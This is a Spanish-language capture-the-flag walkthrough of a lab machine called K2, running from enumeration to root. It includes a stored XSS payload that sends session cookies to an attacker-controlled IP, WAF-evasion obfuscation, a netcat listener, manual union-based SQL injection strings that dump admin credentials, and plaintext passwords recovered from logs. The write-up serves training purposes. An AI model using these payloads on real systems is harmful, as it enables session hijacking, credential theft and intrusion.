🏔️K2 - 1/3 (Linux)

They have only provided you with their external website called k2.thm

Enumeración de Red

Nmap

autoscan 10.10.135.22

Resultado Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:52:02:e8:d9:4b:83:1a:52:c9:9c:b8:43:72:83:71 (RSA)
|   256 37:94:6e:99:c2:4f:24:56:fd:ac:77:e2:1b:ec:a0:9f (ECDSA)
|_  256 8f:3b:26:92:67:ec:cc:05:30:27:17:c5:df:9a:42:d2 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Dimension by HTML5 UP
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración de Servicio Web -p80

k2.thm → /etc/hosts

Enumeración de Subdominios

ffuf -H "Host: FUZZ.k2.thm" -u <http://k2.thm> -w ~/Hunting/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -c -fw 811
admin          [Status: 200, Size: 967, Words: 298, Lines: 24, Duration: 62ms]
it             [Status: 200, Size: 1083, Words: 322, Lines: 25, Duration: 61ms]

it.k2.thm & admin.k2.thm → /etc/hosts

Enumeración de Subdominio - it.k2.thm

Enumeración de Directorios

ffuf -u <http://it.k2.thm/FUZZ> -w ~/Hunting/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -c
login            [Status: 200, Size: 1083, Words: 322, Lines: 25, Duration: 78ms]
register         [Status: 200, Size: 1189, Words: 349, Lines: 26, Duration: 64ms]
logout           [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 63ms]
dashboard        [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 61ms]

Funciones

  • Registrar cuenta (username, password, email)

  • Iniciar sesión (username, password)

Análisis Workflow

  • Registro de cuenta → Acceso a función enviar ticket → ticket se revisa por admin?

Session hijacking via Stored XSS en Ticket?

Payload

"><script>new Image().src='https://<ip-a>:8000/?c='+document.cookie</script>

ERROR: String document.cookie activa el WAF

Ofuscación de string

document["cookie"];
Establecer listener
nc -lvnp <port>
Petición vulnerable
POST /dashboard
.....
title=title&description="><script>new+Image().src%3d'http%3a//<ip-a>%3a1234/?c='%2bdocument["cookie"];</script>
Cookies de sesión recibidas
"GET /?c=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.aJcFMg.1Fl6875oV7U9KKaTrB2hNKZBRlg HTTP/1.1" 200 "

Subdominio: admin.k2.thm

  • Inyectar cookies de sesión en navegador → Redirección: admin.k2.thm/dashboard

Compromiso Inicial de Cuenta

Acceso a panel administrativo

Enumeración Post-Compromiso

Tickets

User 	Title 	Description
--------------------------
smokey 	help 	my computer won't start
hazel 	help 	what is my password?
paco 	i got it 	8675309 is jenny's number
  • Usuarios: smokey, hazel, paco, jenny

Función

  • Select Ticket by Title

Potencial SQLi?

Análisis

  • Single quote ' → 500 internal error

  • SQLMap → Trigger WAF

Inyección manual?

Explotación: In-Band Union-based SQLi

Trigger error

title=' # ERROR

Resolviendo query error

title='--+uwu

Detectando número de columnas

title='ORDER+BY+4--+uwu # ERROR

Solo hay 3 columnas

Extrayendo DB name

title='UNION+SELECT+1,2,database()--+uwu

ticketsite

Extrayendo tablas

title='UNION+SELECT+1,2,table_name+FROM+information_schema.tables+WHERE+table_schema+=+'ticketsite'--+uwu

admin_auth auth_users tickets

Extrayendo columnas

title='UNION+SELECT+1,2,column_name+FROM+information_schema.columns+WHERE+table_name+=+'admin_auth'--+uwu

admin_username admin_password email

Extrayendo credenciales de admin

title='UNION+SELECT+1,admin_username,admin_password+FROM+admin_auth--+uwu

james:Pwd@9tLNrC3!

  • Inicio de sesión por SSH?

Intrusión en el Sistema

Shell: James

Enumeración Post-Compromiso

Enumeración Local Users

cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
rose:x:1001:1001:Rose Bud:/home/rose:/bin/bash
james:x:1002:1002:James Bold:/home/james:/bin/bash
  • Usuarios locales: james, rose, root

Enumeración membresía grupos

id

4(adm) - admin log reader

Escalada de Privilegios: ADM Group - Auth Logs

Información Sensible en Logs

cd /var/log ; grep -Ri rose
"GET /login?username=rose&password=RdzQ7MSKt)fNaz3! HTTP/1.1"

rose:RdzQ7MSKt)fNaz3!

su rose
>password
  • Authentication Failure

su root

Compromiso del Sistema

Shell: root

Última actualización